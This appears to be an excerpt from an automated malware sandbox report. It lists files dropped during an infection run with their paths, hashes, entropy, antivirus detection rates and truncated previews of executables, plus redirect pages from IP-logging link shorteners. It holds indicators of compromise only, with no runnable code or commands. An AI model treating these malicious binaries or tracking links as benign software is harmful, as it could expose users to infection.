Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E^.q+..q+..q+......q+......q+......q+......q+..q*..q+......q+......q+......q+.Rich.q+.........PE..L......c..........................................@...........................#.................................................(....@...w..............................................................................L............................text...t........................... ..`.rdata..v...........................@..@.data... ........(...\|..............@....rsrc....g...@...x..................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wfplwfs.exe

Process:	C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	237568
Entropy (8bit):	6.018958492459831
Encrypted:	false
SSDEEP:	3072:xu14403Cgega/YYn13VguOBft5QRt15VbvVXbz1:A144/getAfQZfbNrJ
MD5:	ED7321DFC04F801D87AB2F3B4ABCB8FB
SHA1:	93A73A1679265A71E42A4D4F7DB2099EF109DF85
SHA-256:	9537BAD08DE11149D3EA8528EE94E9FEB7927D69E933315357D3F466312ADE3E
SHA-512:	D5CC6E876EF7B05EC4A18C20C3D2E600247B35D69D0DC9F4576408BE781C127DDE22C7220C6CEB83987D6C07380A6240EFA6B82ED8C750E6E32F14DA2DCE1F89
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........n..w=..w=..w=.^.=..w=.^.=..w=.^.=.w=.d=..w=t.(=..w=t.*=..w=..v=).w=.^.=..w=.^.=..w=.^.=..w=Rich..w=........PE..L...N..e.............................[............@.........................................................................$...........................................................................@...............<............................text............................... ..`.rdata..H...........................@..@.data....,....... ..................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tll62OaP8oVLTcLcTrzOXqGl.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\UVLurWz0zwkQqd3HayB6HEY3.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.591439924230012
Encrypted:	false
SSDEEP:	48:QUnvbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:RvbGRTihhL6HXYc
MD5:	30B1B56E37A9DBE68B65CD002F85D36D
SHA1:	176F8A38FD3E45B5FF45E4DB000CE6F3FBFA1429
SHA-256:	013905AD9E37F10028A4671291A0A93625CCCF97DB4D7626436F9D7B27CD6C19
SHA-512:	4A871D5340B6B1F096F8093522E8E6C32BE11D730E82BF01CD9EF2F3495B950134B34295524B4CB00981935AB4142151DA0606ED7348026491CFBC0C367E864C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="Llm9550BrFyiyZYo8WnXrIGIjMrygTdhLRy8sNWJ">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\AppData\Local\UbeikbXa4CwwIN3M94pDVFss.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VeFiHaAJqD2MVtOotjaLLiHl.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.589697665627802
Encrypted:	false
SSDEEP:	48:Q8vbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:RbGRTihhL6HXYc
MD5:	4F2CD595BBAAF3441F16DDEC2A160A17
SHA1:	9582812FA4B03CCF57BF70167A66E14188C00379
SHA-256:	5407ACA1D7782DFBC044E339250AB2F7F3FFD350CF46755C47EE08245D3982AE
SHA-512:	75CE9411C009B0C104109D5C10B7F13266F00689CB4AC3BFB82F83FF68C2BFC594A5FA361E154B34A14AB895F8AEDC74E6B8CFA8B2CB5154CCD178270A124F2C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="bkIgx8Jnc0uMgGltcI99w2HJsgheg67V6NBD530q">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\AppData\Local\XbJnQ7YPZT43Q5vvoXLuAoSq.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4283768
Entropy (8bit):	7.982051005050529
Encrypted:	false
SSDEEP:	98304:+2m9igBHAN3V/nHEqdH/DzOhde70zTyblbjrAts3H4:+LIvF/H3d7z7Y3UUtoH4
MD5:	54F38AF9A5ADA40065F7B6008661E8A1
SHA1:	6CE570E927D57E05F9FA25A37EAF0FB62CEFAF8A
SHA-256:	AC365E2F49564BA5ABA374317FFB9AC29A20B338DB67DEC02D459C9AB85DE637
SHA-512:	50DB5C233C258C0B99F868C4279CDBAB1FB252B5F87EFB207E865BA14F49ECC415AF329B379982072427120BF72250E434F1A9AD938342F3DFD40C31E84401D4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E^.q+..q+..q+......q+......q+......q+......q+..q*..q+......q+......q+......q+.Rich.q+.........PE..L...+.Mc.....................\E...................@...................................B.....................................,.@.(....pE..w...........RA.x...............................................................L............................text...t........................... ..`.rdata....@.......@.................@..@.data... .....@..(....@.............@....rsrc....GL..pE..x....@.............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\YHw4f8SZUCkdAWRXPfF1qOas.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4283792
Entropy (8bit):	7.9820526704646255
Encrypted:	false
SSDEEP:	98304:22m9igBHAN3V/nHEqdH/DzOhde70zTyblbjrAts3HH:2LIvF/H3d7z7Y3UUtoHH
MD5:	C03384EE0CB8E3A2FD0C84052AC0581F
SHA1:	BF8C0FF33582B6CD9E2BBBB243B1F4551810ED56
SHA-256:	7FBC9C8489F4AC1D85322892552012650A68307902FECEC265F01F994369A35E
SHA-512:	E25315483A070AD2AF3876B8818DC25F491B91617987F30C10CEBE31177CB5FB08BA6DF20B898C19F06840CB6796E5B846ECF715A13A7BA88C46EFB0A393B957
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E^.q+..q+..q+......q+......q+......q+......q+..q*..q+......q+......q+......q+.Rich.q+.........PE..L...+.Mc.....................\E...................@...................................B.....................................,.@.(....pE..w...........RA.................................................................L............................text...t........................... ..`.rdata....@.......@.................@..@.data... .....@..(....@.............@....rsrc....GL..pE..x....@.............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\bAqeOotivBzC3mPFFhCilCro.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	323584
Entropy (8bit):	6.109731815911019
Encrypted:	false
SSDEEP:	3072:HvEczeu14403Cgega/YYn13VguOBft5QRt15VbvVXbzMbtdu:PEcv144/getAfQZfbNrgzu
MD5:	D9578A8E9EE343BC53B08FD8101F66E9
SHA1:	0D89E46868396DF24B3113D778A9ACDD81ECBE2A
SHA-256:	DB184DF3910B9B55E6F47E316D8F4CE4D9213A2BCA188A53201A57301352AA52
SHA-512:	5D3CB21DCE95B6A9958205F794DB293EF75BB3ED1DCA9ED1ABC2A81D2D4D6CD9891A028FC7F325CF3D7DE91F75CF3D912FEE491947976A76C07E8B7A3EF9C977
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a.fL..5L..5L..5...5N..5k..5X..5k..5&..5k..5`..5...5C..5L..5...5k..5J..5k..5M..5RichL..5................PE..L...?..e.............................3............@.................................Ua......................................d...........X...............................................................@............................................text...\........................... ..`.rdata..............................@..@.data....-....... ..................@....rsrc...X...........................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\buQDl25QOPcDefNxAl6eKA66.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\cUZyyg5Iay7EkA1LG3XxNCAW.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\heli0xf9eUcd5qaTU2WhBrox.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\kCfcZTexs2vlrkxr2iahpjn0.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\nPQO8Z9byTKoW0YecEtJrQN4.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\nqutQ9rgLeAHNtyWdA1aXp1F.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.605017626199463
Encrypted:	false
SSDEEP:	48:QpYvbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:jbGRTihhL6HXYc
MD5:	DCDC0E11DB8E41D2820D5795541A9A31
SHA1:	53C1D8B34BFB19D317396215009C578BDCA4C588
SHA-256:	9620D42FC1944BDA67B72BC68E33A9DFDCB598F4AB795F80DB8FAEEB98D1F31D
SHA-512:	DE5B0CBD74CEE1FD4A9E861B233F97B491C13C041F6B1E46203D406DC22501AF7B3FA6506668673684E4B29CB6BBE0156F4EF31BC73C0490A137D792F4B19064
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="FJNDnYI5mDUPWn1na0VszHBNAXQlUkP2CQRFMTTa">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\AppData\Local\pdCLEldSyO5Ik39YE4kJVbXN.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4283768
Entropy (8bit):	7.982051005050529
Encrypted:	false
SSDEEP:	98304:+2m9igBHAN3V/nHEqdH/DzOhde70zTyblbjrAts3H4:+LIvF/H3d7z7Y3UUtoH4
MD5:	54F38AF9A5ADA40065F7B6008661E8A1
SHA1:	6CE570E927D57E05F9FA25A37EAF0FB62CEFAF8A
SHA-256:	AC365E2F49564BA5ABA374317FFB9AC29A20B338DB67DEC02D459C9AB85DE637
SHA-512:	50DB5C233C258C0B99F868C4279CDBAB1FB252B5F87EFB207E865BA14F49ECC415AF329B379982072427120BF72250E434F1A9AD938342F3DFD40C31E84401D4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E^.q+..q+..q+......q+......q+......q+......q+..q*..q+......q+......q+......q+.Rich.q+.........PE..L...+.Mc.....................\E...................@...................................B.....................................,.@.(....pE..w...........RA.x...............................................................L............................text...t........................... ..`.rdata....@.......@.................@..@.data... .....@..(....@.............@....rsrc....GL..pE..x....@.............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\qn8N72lxWeACAPN7HO6efjE8.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.596757195928014
Encrypted:	false
SSDEEP:	48:Q1vbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:IbGRTihhL6HXYc
MD5:	5D75F2DA9A442FAC0B2BD9BFF04E909E
SHA1:	4D186A164734C2DDFBEAD5C91646C4FE3CA76C5C
SHA-256:	B3FA13B612AAA4979A7E36D879F37E673EAB817A39266152EA7930A1826C37EC
SHA-512:	67710938384BFB132781F60B49AC07DF40D85C025D91151930476AF0F91F00554F74BADEE7D1137DF02348226FAE9F00F7DED82DB8A4CEB808C6B4AE700496B0
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="TwACNll0R4RSVlFJopOZJncjv1Fy0gqNjFO84q0I">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\AppData\Local\vODV6f1qBtycrG7AEUewXqSZ.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.594677771219723
Encrypted:	false
SSDEEP:	48:Q3svbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:6YbGRTihhL6HXYc
MD5:	74446C42022C98940CD36557F86CF70F
SHA1:	7BDA0A0ADF388D0A8453E6ABF95813C0FFA004FE
SHA-256:	7B938756330EB7F068A6CEF946E48DA88A9DC29436B74D53C3E93CCC5723DC3C
SHA-512:	84821078B56644983DE24D42B5D6F09418A6A494501222A91076E1F7952AF7500DA99A2EE3F7E3521A2A70D175B9740B5D4E29B7C1871BAC59A54554A4F45A2F
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="BOPOOga9PnHIY4Wjqn43t1H2YlnkF1vf5vVtMpYI">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\AppData\Local\wHBfjqvEYiXClqcsZASJdtJJ.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	323584
Entropy (8bit):	6.109731815911019
Encrypted:	false
SSDEEP:	3072:HvEczeu14403Cgega/YYn13VguOBft5QRt15VbvVXbzMbtdu:PEcv144/getAfQZfbNrgzu
MD5:	D9578A8E9EE343BC53B08FD8101F66E9
SHA1:	0D89E46868396DF24B3113D778A9ACDD81ECBE2A
SHA-256:	DB184DF3910B9B55E6F47E316D8F4CE4D9213A2BCA188A53201A57301352AA52
SHA-512:	5D3CB21DCE95B6A9958205F794DB293EF75BB3ED1DCA9ED1ABC2A81D2D4D6CD9891A028FC7F325CF3D7DE91F75CF3D912FEE491947976A76C07E8B7A3EF9C977
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a.fL..5L..5L..5...5N..5k..5X..5k..5&..5k..5`..5...5C..5L..5...5k..5J..5k..5M..5RichL..5................PE..L...?..e.............................3............@.................................Ua......................................d...........X...............................................................@............................................text...\........................... ..`.rdata..............................@..@.data....-....... ..................@....rsrc...X...........................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\wgtZ5oDAxtz8XmZjy9Pg8rRQ.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7446
Entropy (8bit):	5.422209848736349
Encrypted:	false
SSDEEP:	192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KoxSR1yz:H5X+Dv13T1FH0fHIIP69xKu
MD5:	5B423612B36CDE7F2745455C5DD82577
SHA1:	0187C7C80743B44E9E0C193E993294E3B969CC3D
SHA-256:	E0840D2EA74A00DCC545D770B91D9D889E5A82C7BEDF1B989E0A89DB04685B09
SHA-512:	C26A1E7E96DBD178D961C630ABD8E564EF69532F386FB198EB20119A88ECAB2FE885D71AC0C90687C18910CE00C445F352A5E8FBF5328F3403964F7C7802414C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

C:\Users\user\AppData\Local\xBWhJ9fAo9Iu3r2QPWYsNC0n.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7446
Entropy (8bit):	5.422209848736349
Encrypted:	false
SSDEEP:	192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KoxSR1yz:H5X+Dv13T1FH0fHIIP69xKu
MD5:	5B423612B36CDE7F2745455C5DD82577
SHA1:	0187C7C80743B44E9E0C193E993294E3B969CC3D
SHA-256:	E0840D2EA74A00DCC545D770B91D9D889E5A82C7BEDF1B989E0A89DB04685B09
SHA-512:	C26A1E7E96DBD178D961C630ABD8E564EF69532F386FB198EB20119A88ECAB2FE885D71AC0C90687C18910CE00C445F352A5E8FBF5328F3403964F7C7802414C
Malicious:	false
Reputation:	unknown
